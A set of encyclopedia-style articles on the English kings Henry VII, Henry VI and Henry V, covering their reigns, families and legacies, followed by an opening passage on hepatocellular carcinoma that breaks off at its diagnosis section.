          Henry VII was one of the first European monarchs to recognise the importance of the newly-united Spanish kingdom and thus concluded the Treaty of Medina Del Campo in 1489, by which his son, Arthur Tudor, was married to Catherine of Aragon. Similarly, the first treaty between England and Scotland for almost two centuries betrothed his daughter Margaret to King James IV of Scotland, a move which would ultimately see the English and Scottish crowns united under one of Margaret's descendants, James I. He also formed an alliance with the Holy Roman Empire, under the emperor Maximilian I (14931519) and persuaded Pope Innocent VIII to issue a Bull of Excommunication against all pretenders to Henry's throne.


          


          Law Enforcement and Justices of the Peace


          
            [image: Death mask of King Henry VII in Westminster Abbey]

            
              Death mask of King Henry VII in Westminster Abbey
            

          


          Henry's principal problem was, indeed, to restore royal authority in a realm still recovering from the disorders of the Wars of the Roses. There were too many powerful noblemen, and, as a consequence of the system of so called bastard feudalism, each had what amounted to private armies of indentured retainers (contracted men-at-arms masquerading as servants).


          He was content to allow the nobles their regional influence if they were loyal to him. For instance, the Stanley family had control of Lancashire and Cheshire, upholding the peace on the condition that they themselves stayed within the law.


          In other cases, he brought his over powerful subjects to heel by degree. He passed laws against 'livery' (flaunting your adherents by giving them badges and emblems) and 'maintenance' (keeping too many male 'servants'). These were used very shrewdly in levying fines upon those that he perceived a threat.


          However, his principal weapon was the Court of Star Chamber. This revived an earlier practice of using a small (and trusted) group of the Privy Council as a personal or Prerogative Court, able to cut through the cumbersome legal system and act swiftly. Serious disputes involving the use of personal power, or threats to royal authority, were dealt with by the new Court.


          Henry VII used Justices of the Peace (JPs) on a large, nationwide scale. They were appointed for every shire and served for a year at a time. Their chief task was to see that the laws of the country were obeyed in their area. Their powers and numbers steadily increased during the Tudors, never more so than under Henrys reign.


          Despite this, Henry was keen to constrain their power and influence, applying the same principles to the Justices of the Peace as he did to the nobility. i.e. a similar system of bonds and recognisances to which applied to both the gentry (who were most likely to be appointed as Justices of the Peace) as well as the nobles who tried to exert their elevated influence over these local officials.


          The enforcement of Acts of Parliament was overseen by the Justices of the Peace. For example, Justices of the Peace could replace suspect jurors in accordance with the 1495 act preventing the corruption of juries. They were also in charge of various administrative duties, such as the checking of weights and measures.


          By 1509 Justices of Peace were the key enforcers of law and order for Henry VII. They were unpaid, which, in comparison with modern standards, meant a lesser tax bill to pay for a police force. Local gentry saw the office as one of local influence and prestige and were therefore willing to serve. Overall, this was a successful area of policy for Henry, both in terms of efficiency and as a method of reducing the corruption endemic within the nobility of the Middle Ages.


          


          Later years


          In 1502, fate dealt Henry VII a double blow from which he never fully recovered: His heir, the recently-married Arthur, died in an epidemic at Ludlow Castle and was followed only a few months later by Henry VII's queen, in childbirth. Not wishing the negotiations that had led to the marriage of his elder son to Catherine of Aragon to go to waste, he arranged a dispensation for his younger son to marry his brother's widow  normally a degree of relationship that precluded marriage in the Roman Catholic Church. Also included in the dispensation was a proviso that would allow Henry VII himself to marry his widowed daughter-in-law. Henry VII obtained the dispensation from Pope Julius II (150313) but had second thoughts about the value of the marriage and did not allow it to take place during his lifetime. Although he made half-hearted plans to re-marry and beget more heirs, these never came to anything. On his death in 1509, he was succeeded by his second son, Henry VIII (150947). He is buried at Westminster Abbey.


          


          Ancestors


          
            
              Henry VII's ancestors in three generations
            

            
              	Henry VII of England

              	Father:

              Edmund Tudor, 1st Earl of Richmond

              	Paternal Grandfather:

              Owen Tudor

              	Paternal Great-grandfather:

              Maredudd ap Tudor
            


            
              	Paternal Great-grandmother:

              Margaret ferch Dafydd
            


            
              	Paternal Grandmother:

              Catherine of Valois

              	Paternal Great-grandfather:

              Charles VI of France
            


            
              	Paternal Great-grandmother:

              Isabeau of Bavaria
            


            
              	Mother:

              Lady Margaret Beaufort

              	Maternal Grandfather:

              John Beaufort, 1st Duke of Somerset

              	Maternal Great-grandfather:

              John Beaufort, 1st Earl of Somerset
            


            
              	Maternal Great-grandmother:

              Margaret Holland
            


            
              	Maternal Grandmother:

              Margaret Beauchamp of Bletso

              	Maternal Great-grandfather:

              Baron John Beauchamp of Bletso
            


            
              	Maternal Great-grandmother:

              Edith Stourton
            

          


          


          Marriage and Issue


          Henry and Elizabeth's children are:


          
            
              	Name

              	Birth

              	Death

              	Notes
            


            
              	Arthur, Prince of Wales

              	September 20, 1486

              	April 2, 1502

              	Married Catherine of Aragon (1485 - 1536) in 1501. No issue.
            


            
              	Margaret Tudor, Princess of England

              	November 28, 1489

              	October 18, 1541

              	Married (1) James IV, King of Scotland (1473 - 1513) in 1503. Had issue. Married (2) Archibald Douglas, 6th Earl of Angus (1489 - 1557) in 1514. Had issue.
            


            
              	Henry VIII, King of England

              	June 28, 1491

              	January 28, 1547

              	Married (1) Catherine of Aragon (1485 - 1536) in 1509. Had issue. Married (2) Anne Boleyn (1501 - 1536) in 1533. Had issue. Married (3) Jane Seymour (1503 - 1537) in 1536. Had issue. Married (4) Anne of Cleves (1515 - 1557) in 1540. No issue. Married (5) Catherine Howard (1520 - 1542) in 1540. No issue. Married (6) Katherine Parr (1512 - 1548) in 1543. No issue.
            


            
              	Elizabeth Tudor, Princess of England

              	July 2, 1492

              	September 14, 1495

              	Died young. No issue.
            


            
              	Mary Tudor, Princess of England

              	March 18, 1496

              	June 25, 1533

              	Married (1) Louis XII, King of France (1462 - 1515) in 1514. No issue. Elizabeth was half-sister. Married (2) Charles Brandon, 1st Duke of Suffolk (1484 - 1545) in 1515. Had issue (was grandmother to Lady Jane Grey).
            


            
              	Edmund Tudor, Duke of Somerset

              	February 21, 1499

              	June 19, 1500

              	Died young. No issue.
            


            
              	Edward Tudor, Prince of England

              	Unknown

              	Unknown

              	Edward Tudor. He may not have actually existed. Suspected to be a mistaken name for Edmund Tudor, Duke of Somerset. However, this name is listed in official records as a child of Henry VII and Elizabeth of York. Edward is also mentioned in Britain's Royal Families: The Complete Genealogy by Alison Weir as having died young. She assumes the child to have been buried with his family in Westminster Abbey.
            


            
              	Katherine Tudor, Princess of England

              	February 2, 1503

              	February 2, 1503

              	Died young. No issue. Mother, Elizabeth of York, died as a result of Katherine's birth.
            

          


          An illegitimate son has also been attributed to Henry. By "a Breton Lady":


          
            
              	Name

              	Birth

              	Death

              	Notes
            


            
              	Sir Roland de Velville or Veleville

              	1474

              	25 June 1535

              	He was knighted in 1497 and was Constable of Beaumaris Castle. If de Velville was in fact Henry's son, he was born during the period of Henry's exile in France. Roland de Velville's descendants included Katheryn of Berain, hence she is sometimes referred to as "Katherine Tudor".
            

          


          


          Descendants


          Henry VII's elder daughter Margaret was married first to James IV of Scotland (14881513), and their son became James V of Scotland (151342), whose daughter became Mary, Queen of Scots. By means of this marriage, Henry VII hoped to break the Auld Alliance between Scotland and France. Margaret Tudor's second marriage was to Archibald Douglas; their grandson, Henry Stuart, Lord Darnley married Mary, Queen of Scots. Their son, James VI of Scotland (15671625), inherited the throne of England as James I (160325) after the death of Elizabeth I. Henry VII's other surviving daughter, Mary, first married the elderly King Louis XII of France (14981515) and then, when he died after only about 1 year of marriage, she married Charles Brandon, Duke of Suffolk without her brother's (now King Henry VIII) permission. Their daughter Frances married Henry Grey, and her children included Lady Jane Grey, in whose name her parents and in-laws tried to seize the throne after Edward VI of England (153753) died.
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        Henry VI of England


        
          

          
            
              	Henry VI
            


            
              	By the Grace of God, King of England

              and France and Lord of Ireland
            


            
              	[image: ]
            


            
              	Reign

              	31 August 1422 - 4 March 1461

              and 31 October 1470 - 11 April 1471
            


            
              	Coronation

              	6 November 1429
            


            
              	Born

              	6 December 1421
            


            
              	Birthplace

              	Windsor Castle
            


            
              	Died

              	21 May 22 May 1471
            


            
              	Place of death

              	Tower of London
            


            
              	Buried

              	Windsor Castle
            


            
              	Predecessor

              	Henry V
            


            
              	Successor

              	Edward IV
            


            
              	Consort

              	Margaret of Anjou (14291482)
            


            
              	Issue

              	Edward, Prince of Wales

              (14531471)
            


            
              	Royal House

              	Lancaster
            


            
              	Father

              	Henry V (13871422)
            


            
              	Mother

              	Catherine of Valois (14011437)
            

          


          Henry VI ( 6 December 1421  21 May 1471) was King of England from 1422 to 1461 (though with a Regent until 1437) and then from 1470 to 1471, and King of France from 1422 to 1453.


          


          The Child King


          Henry was the only child of King Henry V of England and was his heir, and therefore great things were expected of him from birth. He was born on 6 December 1421 at Windsor, and he succeeded to the throne at the age of nine months on 31 August 1422, when his father died. His mother, Catherine of Valois, was then only twenty years old and as the daughter of King Charles VI of France was viewed with considerable suspicion and prevented from having a full role in her son's upbringing. Though not prevalent at the time of his birth, there were later rumours doubting his paternity that cannot entirely be contributed to Yorkist propaganda.


          On 28 September 1423, the nobles swore loyalty to Henry VI. They summoned Parliament in the King's name and established a regency council. Humphrey, Duke of Gloucester, Henry IV's youngest son, was appointed Protector and Defender of the Realm and the Church until the King came of age, but his appointment was revocable by the Council at any time. His duties were limited to keeping the peace and summoning and dissolving Parliament. Bishop Henry Beaufort (Cardinal from 1426) who was Henry V's half-uncle, had an important place on the Council. Henry IV's elder surviving son, John, Duke of Bedford, was the senior regent, having been appointed Regent of France (in charge of running the ongoing war) as well as replacing Gloucester as Regent of England whenever Bedford was personally in the country.


          From 1428, Henry's tutor was the Earl of Warwick, whose father had been instrumental in the opposition to Richard II's reign. Henry was also influenced by Henry Beaufort, and later William de la Pole, 1st Duke of Suffolk. The young king came to favour a policy of peace in France.


          Henry's half-brothers, Edmund and Jasper, the sons of his widowed mother's relationship with Owen Tudor, were later given earldoms. Edmund Tudor was the father of Henry Tudor, later to gain the throne as Henry VII of England.


          Henry was eventually crowned King of England at Westminster Abbey on 6 November 1429 a month before his eighth birthday, and King of France at Notre Dame in Paris on 16 December 1431. However, he did not assume the reins of government until he was declared of age in 1437the year in which his mother died.


          As to his uncles, John, Duke of Bedford and Humphrey, Duke of Gloucester, who in the early part of the child king's reign were the most powerful of the regents, the former died in 1435; the latter was disgraced, and died in custody in 1447, probably of a heart attack, before he could be accused of treason.
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          As a result of his successes in the Hundred Years' War, Henry V had left England in possession of considerable territories in France, but the momentum was lost on his death. Since Henry VI was still a child, and England was ruled by a regency government, much of the ground his father gained was lost. A revival of French fortunes, beginning with the military victories of Joan of Arc, led to the repudiation of Henry's title to rule France, and the crowning of the French Dauphin at Reims. Diplomatic errors as well as military failures resulted in the loss of most of the English territories in France.


          On gaining his majority, Henry VI proved to be a deeply spiritual man, lacking the worldly wisdom necessary to allow him to rule effectively. Right from the time he assumed control as king in 1437, he allowed his court to be dominated by a few noble favorites; the faction in favour of ending the war in France quickly came to dominate, while the voices of Richard, Duke of York and Humphrey, Duke of Gloucester, the leaders of the pro-war faction, were ignored.


          Cardinal Beaufort and Suffolk meanwhile persuaded the king that the best way of pursuing peace with France was through a marriage with Charles VIIs niece, Margaret of Anjou. Henry agreed, especially when he heard reports of Margarets stunning beauty, and sent Suffolk to negotiate with King Charles. Charles agreed to the marriage on condition that he would not have to provide the customary dowry and instead would receive the lands of Maine and Anjou from the English. These conditions were agreed to in the Treaty of Tours, but the cession of Maine and Anjou was kept secret from parliament. It was known that this would be hugely unpopular with the English populace.


          The marriage went ahead in 1445 and Margarets character seems to have complemented that of Henrys in that she was prepared to take decisions and show leadership where he was content to be led by her. In this much Margaret proved a more competent ruler than Henry ever was, even though she was only sixteen at that time. Now came the thorny issue of Maine and Anjou. Henry had procrastinated about keeping his end of the bargain with Charles VII, knowing that it would be a hugely unpopular move and that Humphrey, Duke of Gloucester and the war party would be especially critical of it. However, Margaret was determined to make him see it through and finally it became public knowledge in 1446. Most public anger was directed at Suffolk, for having negotiated the Treaty of Tours, but Henry and Margaret were determined to protect him, knowing they were vulnerable too, having also had full knowledge of the conditions of the marriage.


          In 1447, the king, the queen and the group surrounding them (Suffolk, Somerset, and the ageing Cardinal Beaufort) summoned Gloucester before parliament on a charge of treason in Bury St Edmunds, and he died in captivity, whether of natural causes or foul play was not clear. The death of Gloucester left York as Henrys heir presumptive, but Henry never officially acknowledged this and York continued to be excluded from the court circle, being banished to govern Ireland, while Henry and Margaret promoted Suffolk and Edmund Beaufort to Dukedoms, (a title normally reserved for immediate relatives of the monarch). Beaufort, the new Duke of Somerset (and Cardinal Beaufort's nephew) was sent to France to lead the war.


          


          Increasing unpopularity and insanity


          The government's increasing unpopularity was due to a breakdown in law and order, corruption, the distribution of royal land to the king's court favourites, the troubled state of the crown's finances, and the steady loss of territories in France. In 1447, this unpopularity took the form of a Commons campaign against the Duke of Suffolk, who was the most unpopular of all the King's entourage and widely seen as a traitor. Henry was forced to send him into exile, but his ship was intercepted in the English Channel, and he was murdered. His body was found on the beach at Dover.
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          In 1449, Somerset, leading the campaign in France, reopened hostilities in Normandy, but by the autumn had been pushed back to Caen. By 1450, the French had retaken the whole province, so hard won by Henry V. Returning troops, who had often not been paid, added to the sense of lawlessness in the southern counties of England, and Jack Cade led a rebellion in Kent in 1450, calling himself "John Mortimer" in sympathy with York and setting up residence at the White Hart Inn in Southwark (the white hart had been the symbol of the deposed Richard II). Henry came to London with an army to crush the rebellion, but was persuaded to keep half his troops behind while the other half met Cade at Sevenoaks. Cade triumphed and went on to occupy London. In the end, the rebellion achieved nothing, and London was retaken after a few days of disorder, but the rebellion showed that feelings of discontent were running high.


          In 1450, the Duchy of Aquitaine, held since Henry II's time, was also lost, leaving Calais as England's only remaining territory in France. By 1452, York was persuaded to return from Ireland, claim his rightful place on the council, and put an end to bad government. His cause was a popular one, and he soon raised an army at Shrewsbury. The court party, meanwhile, raised their own similar-sized force in London. A stand-off took place south of London, with York presenting a list of grievances and demands to the court circle, including the arrest of the Duke of Somerset. The king initially agreed, but Margaret intervened to prevent the arrest of Somerset. By 1453, his influence had been restored, and York was again isolated. In the meantime, an English advance in Aquitaine had retaken Bordeaux and was having some success, and the queen announced that she was pregnant.


          However, English success in Aquitaine was short-lived, and on hearing the news of the English defeat in August 1453, Henry slipped into a mental breakdown and became completely unaware of everything that was going on around him. This was to last for more than a year, and Henry failed even to respond to the birth of his own son and heir, who was christened Edward ( Edward of Westminster and Prince of Wales). York, meanwhile, had gained a very important ally, Richard Neville, Earl of Warwick, one of the most influential magnates and possibly richer than York himself. York was named regent as Protector of the Realm in 1454. He finally had the position of influence he had wanted, the queen was excluded completely, and Somerset was detained in the Tower of London, while many of York's supporters spread rumours that the king's child was not his, but Somerset's. Other than that, York's months as regent were spent tackling the problem of government overspending. On Christmas Day 1454, however, Henry regained his senses.


          Henry presumably inherited his illness from Charles VI of France, his maternal grandfather, who coped with intermittent periods of insanity over the last 30 years of his life. He, in turn, had in all likelihood inherited the hereditary trait from his mother Joanna of Bourbon, who showed obvious signs of resembling mental breakdown, and her Bourbon family, where her grandfather Louis I, Duke of Bourbon, her father Peter I, Duke of Bourbon and her brother Louis II, Duke of Bourbon each had symptoms of the ailment.


          


          The Wars of the Roses


          Disaffected nobles who had grown in power during Henry's reign (most importantly the Earls of Warwick and Salisbury) took matters into their own hands by backing the claims of the rival House of York, first to the Regency, and then to the throne itself. After a violent struggle between the houses of Lancaster and York, (see Wars of the Roses), Henry was deposed on 4 March 1461 by his cousin, Edward of York, who became King Edward IV of England. But Edward failed to capture Henry and his queen, and they were able to flee into exile abroad. During the first period of Edward IV's reign, Lancastrian resistance continued mainly under the leadership of Queen Margaret and the few nobles still loyal to her in the northern counties of England and Wales. Henry was captured by King Edward in 1465 and subsequently held captive in the Tower of London.


          Queen Margaret, exiled in Scotland and later in France, was determined to win back the throne on behalf of her husband and son, and with the help of King Louis XI of France eventually formed an alliance with Richard Neville, Earl of Warwick, who had fallen out with Edward IV. After marrying his daughter to the Prince of Wales, Warwick returned to England, defeated the Yorkists in battle, liberated Henry VI and restored him to the throne on 30 October 1470. Henry's return to the throne lasted a very short time. By this time, years in hiding followed by years in captivity had taken their toll on Henry, who had been weak-willed and mentally unstable to start with. By all accounts Henry looked lethargic and vacant as Warwick and his men paraded him through the streets of London as the rightful King of England, and the contrast with the imposing King Edward whom he had replaced must have been marked. Within a few months Warwick had overreached himself by declaring war on Burgundy, whose ruler responded by giving Edward IV the assistance he needed to win back his throne by force. The Prince of Wales was killed at the Battle of Tewkesbury in 1471.


          


          Death and legacy


          Henry VI was imprisoned in the Tower of London, where he was murdered on 21 May 1471. Popular legend has accused Richard, Duke of Gloucester of his murder, as well as the murder of Henry VI's son Edward of Westminster. Each year on the anniversary of Henry VI's death, the Provosts of Eton and King's College, Cambridge, lay roses and lilies on the altar which now stands where he died.


          King Henry VI was originally buried in Chertsey Abbey; then, in 1485, his body was moved to St George's Chapel, Windsor Castle.


          He was succeeded by Edward IV, son of Richard, Duke of York.


          Ironically for one so personally pious and peace-loving, Henry left a great legacy of strife and civil war. Perhaps his one lasting positive achievement was his fostering of educationhe founded both Eton College and King's College, Cambridge. Continuing an architectural patronage trend begun by his father, these ( King's College Chapel and Eton College Chapel respectively) and most of his other architectural commissions (like his completion of his father's foundation of Syon Abbey) consisted of a single, grand, late Gothic or Perpendicular-style church (usually called a chapel, a term which belies their size) with a monastic and/or educational foundation attached.


          


          Henry's character


          Henrys character as king is best summed up as pious, indecisive and easily-led, and of course later in life, he became severely mentally unstable. He was kind and generous to those he cared about (which did not help the dire financial situation of his government) giving away land and titles to his advisors. He avoided the ostentatious trappings of his role, preferring simple dress. He was keen on reading and 'book-learning' but showed no inclination whatsoever towards leading his country in battle  ironic, considering his reign was one of the bloodiest in English history. He disliked making war on his fellow Christians and he was keen for justice to be done in his name  again ironic, considering the widespread corruption and collapse of law and order which occurred under him. Henry seems to have used religion and piety as a means of escape from the harsh world of bitter rivalries and power struggles which surrounded him at court. He was excessively prudish, which was encouraged by his confessor who advised him to abstain from sex with his wife as much as possible.


          Henry seems to have been a decent man, but completely unsuited to kingship. He allowed himself to be totally dominated by the power-hungry factions which surrounded him at court and was later powerless to stop the outbreak of bloody civil war. It was clearly too much for him to cope with, as his recurring mental illness from 1453 onwards showed. During the Wars of the Roses it was his queen, Margaret, who was the driving force behind the Lancastrian faction, while Henry was captured first by one side, then the other. Whoever had the king in their possession was able to claim to be ruling in his name.


          


          Ancestors


          
            
              Henry's ancestors in three generations
            

            
              	Henry VI of England

              	Father:

              Henry V of England

              	Paternal Grandfather:

              Henry IV of England

              	Paternal Great-grandfather:

              John of Gaunt, 1st Duke of Lancaster
            


            
              	Paternal Great-grandmother:

              Blanche of Lancaster
            


            
              	Paternal Grandmother:

              Mary de Bohun

              	Paternal Great-grandfather:

              Humphrey de Bohun, 7th Earl of Hereford
            


            
              	Paternal Great-grandmother:

              Joan FitzAlan
            


            
              	Mother:

              Catherine of Valois

              	Maternal Grandfather:

              Charles VI of France

              	Maternal Great-grandfather:

              Charles V of France
            


            
              	Maternal Great-grandmother:

              Joanna of Bourbon
            


            
              	Maternal Grandmother:

              Isabeau of Bavaria

              	Maternal Great-grandfather:

              Stephen III, Duke of Bavaria
            


            
              	Maternal Great-grandmother:

              Taddaea Visconti
            

          


          


          Trivia


          Miracles were attributed to the king, and he was informally regarded as a saint. Hymns to him still exist.


          In 1590, William Shakespeare wrote a trilogy of plays about the life of Henry VI: Henry VI, part 1, Henry VI, part 2, and Henry VI, part 3. Henry also appears as a ghost in Richard III.
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              	Henry V
            


            
              	
                By the Grace of God, King of England,

                Heir and Regent of the Kingdom of Franceand Lord of Ireland
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              	Reign

              	21 March 1413 - 31 August 1422
            


            
              	Coronation

              	1413
            


            
              	Born

              	16 September 1387
            


            
              	Birthplace

              	Monmouth, Wales
            


            
              	Died

              	August 31, 1422 (aged34)
            


            
              	Place of death

              	Bois de Vincennes, France
            


            
              	Buried

              	Westminster Abbey
            


            
              	Predecessor

              	Henry IV
            


            
              	Successor

              	Henry VI
            


            
              	Consort

              	Catherine of Valois ( 1401- 1437)
            


            
              	Issue

              	Henry VI ( 1421- 1471)
            


            
              	Royal House

              	Lancaster
            


            
              	Father

              	Henry IV ( 1367- 1413)
            


            
              	Mother

              	Mary de Bohun (c. 1369- 1394)
            

          


          Henry V of England ( 16 September 1387  31 August 1422) was one of the great warrior kings of the Middle Ages. He was born at Monmouth, Wales, on 9 August 1386 or 16 September 1387, and he reigned as King of England from 1413 to 1422.


          Henry was son of Henry of Bolingbroke, later Henry IV, and Mary de Bohun, who died before Bolingbroke became king.


          At the time of his birth during the reign of Richard II, Henry was fairly far removed from the throne, preceded by the King and another preceding collateral line of heirs. The precise date and even year of his birth are therefore not definitely recorded. By the time Henry died, he had not only consolidated power as the King of England but had also effectively accomplished what generations of his ancestors had failed to achieve through decades of war: unification of the crowns of England and France in a single person. In 2002 he was ranked 72nd in the 100 Greatest Britons poll.
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          Early accomplishments


          Upon the exile of Henry's father in 1398, Richard II took the boy into his own charge and treated him kindly. In 1399 the Lancastrian usurpation brought Henry's father to the throne and Henry into prominence as heir to the Kingdom of England. He was created Duke of Lancaster on 10 November 1399, the third person to hold the title that year.


          From October 1400 the administration was conducted in his name; less than three years later Henry was in actual command of the English forces and fought against Harry Hotspur at Shrewsbury. It was there, in 1403, that the sixteen-year-old prince was almost killed by an arrow which became lodged in his face. An ordinary soldier would have been left to die from such a wound, but Henry had the benefit of the best possible care, and, over a period of several days after the incident, the royal physician crafted a special tool to extract the tip of the arrow without doing further damage. The operation was successful, and probably gave the prince permanent scars which would have served as a testimony to his experience in battle.


          


          Role in government and conflict with Henry IV


          The Welsh revolt of Owain Glyndŵr absorbed Henry's energies until 1408. Then, as a result of the King's ill-health, Henry began to take a wider share in politics. From January 1410, helped by his uncles Henry and Thomas Beaufort  legitimised sons of John of Gaunt  he had practical control of the government.


          Both in foreign and domestic policy he differed from the King, who in November 1411 discharged the Prince from the council. The quarrel of father and son was political only, though it is probable that the Beauforts had discussed the abdication of Henry IV, and their opponents certainly endeavoured to defame the prince. It may be to that political enmity that the tradition of Henry's riotous youth, immortalised by Shakespeare, is partly due. Henry's record of involvement in war and politics, even in his youth, disproves this tradition. The most famous incident, his quarrel with the chief justice, has no contemporary authority and was first related by Sir Thomas Elyot in 1531.
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          The story of Falstaff originated partly in Henry's early friendship with Sir John Oldcastle. That friendship, and the prince's political opposition to Thomas Arundel, Archbishop of Canterbury, perhaps encouraged Lollard hopes. If so, their disappointment may account for the statements of ecclesiastical writers, like Thomas Walsingham, that Henry on becoming king was changed suddenly into a new man.


          


          Accession to the throne


          After his father Henry IV died on 20 March 1413, Henry V succeeded him on 21 March 1413 and was crowned on 9 April 1413.


          


          Domestic policy


          Henry tackled all of the domestic policies together, and gradually built on them a wider policy. From the first, he made it clear that he would rule England as the head of a united nation, and that past differences were to be forgotten. The late king Richard II of England was honourably reinterred; the young Mortimer was taken into favour; the heirs of those who had suffered in the last reign were restored gradually to their titles and estates. Henry used his personal influence in vain, and the gravest domestic danger was Lollard discontent. But the king's firmness nipped the movement in the bud (January 1414), and made his own position as ruler secure.


          With the exception of the Southampton Plot in favour of Mortimer, involving Henry Scrope, 3rd Baron Scrope of Masham and Richard, Earl of Cambridge (grandfather of the future King Edward IV of England) in July 1415, the rest of his reign was free from serious trouble at home.


          


          Foreign affairs


          Henry could now turn his attention to foreign affairs. A writer of the next generation was the first to allege that Henry was encouraged by ecclesiastical statesmen to enter into the French war as a means of diverting attention from home troubles. This story seems to have no foundation. Old commercial disputes and the support which the French had lent to Owain Glyndŵr were used as an excuse for war, whilst the disordered state of France afforded no security for peace. The French king, Charles VI, was prone to mental illness, and his eldest son an unpromising prospect.


          


          Campaigns in France


          
            [image: Henry V of England depicted in Cassell's History of England (1902)]

            
              Henry V of England depicted in Cassell's History of England (1902)
            

          


          Henry may have regarded the assertion of his own claims as part of his kingly duty, but in any case a permanent settlement of the national quarrel was essential to the success of his world policy.


          
            	1415 campaign

          


          Henry sailed for France on 11 August 1415 where his forces besieged the fortress at Harfleur, capturing it on 22 September. Afterwards, Henry was obliged to march with his army across the French countryside with the intention to reach Calais. On the plains near the village of Agincourt, he turned to give battle to a pursuing French army. Despite his men-at-arms exhausted and outnumbered, Henry led his men into battle, miraculously defeating the French. With its brilliant conclusion at Agincourt on the 25 October 1415, this was only the first step.


          
            	Diplomacy and command of the sea

          


          The command of the sea was secured by driving the Genoese allies of the French out of the Channel.( His flagship, Grace Dieu  1420) A successful diplomacy detached the emperor Sigismund from France, and by the Treaty of Canterbury paved the way to end the schism in the Church.


          
            	1417 campaign

          


          So, with these two allies gone, and after two years of patient preparation since Agincourt, in 1417 the war was renewed on a larger scale. Lower Normandy was quickly conquered, Rouen cut off from Paris and besieged. The French were paralysed by the disputes of Burgundians and Armagnacs. Henry skilfully played them off one against the other, without relaxing his warlike energy. In January 1419 Rouen fell. By August the English were outside the walls of Paris. The intrigues of the French parties culminated in the assassination of John of Burgundy by the Dauphin's partisans at Montereau ( 10 September 1419). Philip, the new duke, and the French court threw themselves into Henry's arms. After six months' negotiation Henry was by the Treaty of Troyes recognised as heir and regent of France (see English Kings of France), and on 2 June 1420 married Catherine of Valois the king's daughter. From June to July his army besieged and took the castle at Montereau, and from that same month to November, he besieged and captured Melun, returning to England shortly thereafter.


          
            	1421 campaign

          


          On 10 June 1421, Henry sailed back to France for what would now have been his last military campaign. From July to August, Henry's forces besieged and captured Dreux, thus relieving allied forces at Chartres. That October, his forces lay siege to Meaux, capturing it on 2 May 1422. Henry V died suddenly on 31 August 1422 at Bois de Vincennes near Paris, apparently from dysentery which he contracted during the siege of Meaux. He was 34 years old. Before his death, Henry V named his brother John, Duke of Bedford regent of France in the name of his son Henry VI, then only a few months old. Henry VI did not live to be crowned King of France himself, though ironically Charles VI died only two months later. Following his death, Catherine would secretly marry or have an affair with a Welsh courtier, Owen Tudor, and they would be the grandmother and grandfather of King Henry VII of England.


          


          In literature


          Henry V is the subject of the eponymous play by William Shakespeare, which largely concentrates on his campaigns in France. He is also a main character in Henry IV, Part 1 and Henry IV, Part 2, where Shakespeare dramatises him as a wanton youth.
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              	Hepatocellular carcinoma in an individual that was hepatitis C positive. Autopsy specimen.
            


            
              	ICD- 10

              	C 22.0
            


            
              	ICD- 9

              	155
            


            
              	ICD-O:

              	8170/3
            


            
              	MedlinePlus

              	000280
            


            
              	eMedicine

              	med/787
            


            
              	MeSH

              	D006528
            

          


          Hepatocellular carcinoma (HCC, also called hepatoma) is a primary malignancy (cancer) of the liver. Most cases of HCC are secondary to either a viral hepatitide infection ( hepatitis B or C) or cirrhosis ( alcoholism being the most common cause of hepatic cirrhosis). In countries where hepatitis is not endemic, most malignant cancers in the liver are not primary HCC but metastasis (spread) of cancer from elsewhere in the body, e.g. the colon. Treatment options of HCC and prognosis are dependent on many factors but especially on tumor size and staging. Tumor grade is also important. High-grade tumors will have a poor prognosis, while low-grade tumors may go unnoticed for many years, as is the case in many other organs, such as the breast, where a ductal carcinoma in situ (or a lobular carcinoma in situ) may be present without any clinical signs and without correlate on routine imaging tests, although in some occasions it may be detected on more specialized imaging studies like MR mammography (it should be stated, however, that the sensitivity of this technique remains, even with current state-of-the-art technology, below 50%).


          The usual outcome is poor, because only 10 - 20% of hepatocellular carcinomas can be removed completely using surgery. If the cancer cannot be completely removed, the disease is usually deadly within 3 to 6 months. This is partially due to late presentation with large tumours, but also the lack of medical expertise and facilities. This is a rare tumor in the United States.


          


          Epidemiology


          HCC is one of the most common tumors worldwide. The epidemiology of HCC exhibits two main patterns, one in North America and Western Europe and another in non-Western countries, such as those in sub-Saharan Africa, central and Southeast Asia, and the Amazon basin. Males are affected more than females usually and it is more common between the 3rd and 5th decades of life Hepatocellular carcinoma causes 662,000 deaths worldwide per year.


          


          Non-Western Countries


          In some parts of the world, such as sub-Saharan Africa and Southeast Asia, HCC is the most common cancer, generally affecting men more than women, and with an age of onset between late teens and 30s. This variability is in part due to the different patterns of hepatitis B transmission in different populations - infection at or around birth predispose to earlier cancers than if people are infected later. The time between hepatitis B infection and development into HCC can be years, even decades, but from diagnosis of HCC to death the average survival period is only 5.9 months according to one Chinese study during the 1970-80s, or 3 months (median survival time) in Sub-Saharan Africa according to Manson's textbook of tropical diseases. HCC is one of the deadliest cancers in China. Food infected with Aspergillus flavus (especially peanuts and corns stored during prolonged wet seasons) which produces aflatoxin poses another risk factor for HCC.


          


          North America and Western Europe


          Most malignant tumors of the liver discovered in Western patients are metastases (spread) from tumors elsewhere. In the West, HCC is generally seen as rare cancer, normally of those with pre-existing liver disease. It is often detected by ultrasound screening, and so can be discovered by health-care facilities much earlier than in developing regions such as Sub-Saharan Africa.


          Acute and chronic hepatic porphyrias (acute intermittent porphyria, porphyria cutanea tarda, hereditary coproporphyria, variegate porphyria) and tyrosinemia type I are risk factors for hepatocellular carcinoma. The diagnosis of an acute hepatic porphyria (AIP, HCP, VP) should be sought in patients with hepatocellular carcinoma without typical risk factors of hepatitis B or C, alcoholic liver cirrhosis or hemochromatosis. Both active and latent genetic carriers of acute hepatic porphyrias are at risk for this cancer, although latent genetic carriers have developed the cancer at a later age than those with classic symptoms. Patients with acute hepatic porphyrias should be monitored for hepatocellular carcinoma.


          


          Pathogenesis


          Hepatocellular carcinoma, like any other cancer, develops when there is a mutation to the cellular machinery that causes the cell to replicate at a higher rate and/or results in the cell avoiding apoptosis. In particular, chronic infections of Hepatitis B and/or C can aid the development of hepatocellular carcinoma by repeatedly causing the body's own immune system to attack the liver cells, some of which are infected by the virus, others merely bystanders. While this constant cycle of damage followed by repair can lead to mistakes during repair which in turn lead to carcinogenesis, this hypothesis is more applicable, at present, to Hepatitis C. In Hepatitis B, however, the integration of the viral genome into infected cells is the most consistently associated factor in malignancy. Alternatively, repeated consumption of large amounts of ethanol can have a similar effect. The toxin aflatoxin from certain Aspergillus species of fungus is a carcinogen and aids carcinogenesis of hepatocellular cancer by building up in the liver. The combined high prevalence of rates of aflatoxin and hepatitis B in countries like China and western Africa has led to relatively high rates of heptatocellular carcinoma in these regions. Other viral hepatitides such as hepatitis A have no potential to become a chronic infection and thus are not related to hepatocellular carcinoma.


          


          Diagnosis, screening and monitoring


